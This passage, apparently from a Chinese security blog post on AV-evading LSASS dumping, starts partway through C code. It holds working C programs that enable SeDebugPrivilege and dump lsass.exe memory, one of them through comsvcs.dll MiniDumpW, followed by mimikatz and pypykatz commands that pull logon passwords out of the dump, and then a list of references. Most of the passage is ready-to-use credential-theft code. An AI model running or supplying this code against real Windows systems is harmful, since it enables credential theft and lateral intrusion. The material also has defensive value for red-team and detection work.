        // If the memory dump was successful, print the dump file location
        if (dumped) {
            printf("dumping lsass.exe to lsass.dmp\n");
        }
    }

    // Return whether the memory dump was successful
    return dumped;
}

int main(int argc, char* argv[]) {
    // Enable the SE_DEBUG_NAME privilege for the current process to allow debugging other processes
    if (!setPrivilege(SE_DEBUG_NAME))
        return -1;

    // Create a memory dump of the lsass.exe process
    if (!createMiniDump())
        return -1;

    // Exit the program with a success status
    return 0;
}

MiniDump

#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

int GetLsassPid() {

    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    if (Process32First(hSnapshot, &entry)) {
        while (Process32Next(hSnapshot, &entry)) {
            if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
                return entry.th32ProcessID;
            }
        }
    }

    CloseHandle(hSnapshot);
    return 0;
}

void GetDebugPrivilege()
{
    BOOL fOk = FALSE;
    HANDLE hToken;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
        fOk = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(hToken);
    }
}

void main()
{
    wchar_t  ws[100];
    _MiniDumpW MiniDumpW;

    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");

    GetDebugPrivilege();

    MiniDumpW(0, 0, ws);
}

离线读取

mimikatz
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

pypykatz lsa minidump lsass.dmp

reference

https://mp.weixin.qq.com/s/x_8U23StCPbAwFG7c7tF-Q
https://mp.weixin.qq.com/s/8uEr5dNaQs24KuKxu5Yi9w
https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html
https://antipassion.github.io/2023/03/07/Windows%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E9%9A%8F%E7%AC%94/
https://xz.aliyun.com/t/12344?time__1311=mqmhD57KGIoNDsD7GG7DyWx9imoZxr%2Bn%2BD
https://bbs.kanxue.com/thread-225761.htm
https://blez.wordpress.com/2012/09/17/enumerating-opened-handles-from-a-process/
https://xz.aliyun.com/t/12157?time__1311=mqmhD5DKe%2Box%2FGQ0%3DQG%3DImp1xc7PD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-11
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
https://adepts.of0x.cc/hookson-hootoff/
https://www.cnblogs.com/gaochundong/p/windbg_cheat_sheet.html
https://blog.csdn.net/chenyujing1234/article/details/7743460
# 系统安全 # 免杀 # LSASS安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录